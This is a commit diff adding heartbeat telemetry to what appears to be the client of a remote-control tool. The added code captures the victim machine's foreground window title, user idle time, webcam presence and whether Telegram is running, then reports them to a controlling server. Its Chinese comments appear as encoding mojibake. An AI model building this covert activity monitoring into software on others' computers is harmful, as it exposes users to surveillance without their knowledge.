Improvement: Prepare for optimization of online capacity

This commit is contained in:
yuanyuanxiang
2025-04-07 18:18:36 +08:00
parent 69afaf19c0
commit 72459de00e
26 changed files with 931 additions and 231 deletions

View File

@@ -14,6 +14,64 @@
#define MAX_THREADNUM 0x1000>>2
#include <iostream>
#include <string>
#include <iomanip>
#include <TlHelp32.h>
#include "LoginServer.h"
class ActivityWindow {
public:
std::string Check(DWORD threshold_ms = 6000) {
auto idle = GetUserIdleTime();
BOOL isActive = (idle < threshold_ms);
if (isActive) {
return GetActiveWindowTitle();
}
return "Inactive: " + FormatMilliseconds(idle);
}
private:
std::string FormatMilliseconds(DWORD ms)
{
DWORD totalSeconds = ms / 1000;
DWORD hours = totalSeconds / 3600;
DWORD minutes = (totalSeconds % 3600) / 60;
DWORD seconds = totalSeconds % 60;
std::stringstream ss;
ss << std::setfill('0')
<< std::setw(2) << hours << ":"
<< std::setw(2) << minutes << ":"
<< std::setw(2) << seconds;
return ss.str();
}
std::string GetActiveWindowTitle()
{
HWND hForegroundWindow = GetForegroundWindow();
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
}
DWORD GetLastInputTime()
{
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
GetLastInputInfo(&lii);
return lii.dwTime;
}
DWORD GetUserIdleTime()
{
return (GetTickCount64() - GetLastInputTime());
}
};
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
struct ThreadInfo
{
@@ -39,6 +97,66 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
ULONG m_ulThreadCount;
UINT GetAvailableIndex();
MasterSettings m_settings;
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int SendHeartbeat() {
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
Sleep(1000);
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Sleep(1000);
return 0;
}
if (g_bExit || !m_ClientObject->IsConnected())
return -1;
ActivityWindow checker;
auto s = checker.Check();
Heartbeat a(s, m_nNetPing);
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &a, sizeof(Heartbeat));
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
return 0;
}
bool SoftwareCheck(int type) {
static std::map<int, std::string> m = {
{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"},
{SOFTWARE_TELEGRAM, "telegram.exe" },
};
static bool hasCamera = WebCamIsExist();
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool IsProcessRunning(const std::vector<std::string>& processNames) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// <20><>ȡ<EFBFBD><C8A1>ǰϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD>̵Ŀ<CCB5><C4BF><EFBFBD>
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return true;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD><EFBFBD>
if (Process32First(hProcessSnap, &pe32)) {
do {
for (const auto& processName : processNames) {
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD><EFBFBD>򷵻<EFBFBD> true
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
CloseHandle(hProcessSnap);
return true;
}
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
return false;
}
};
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)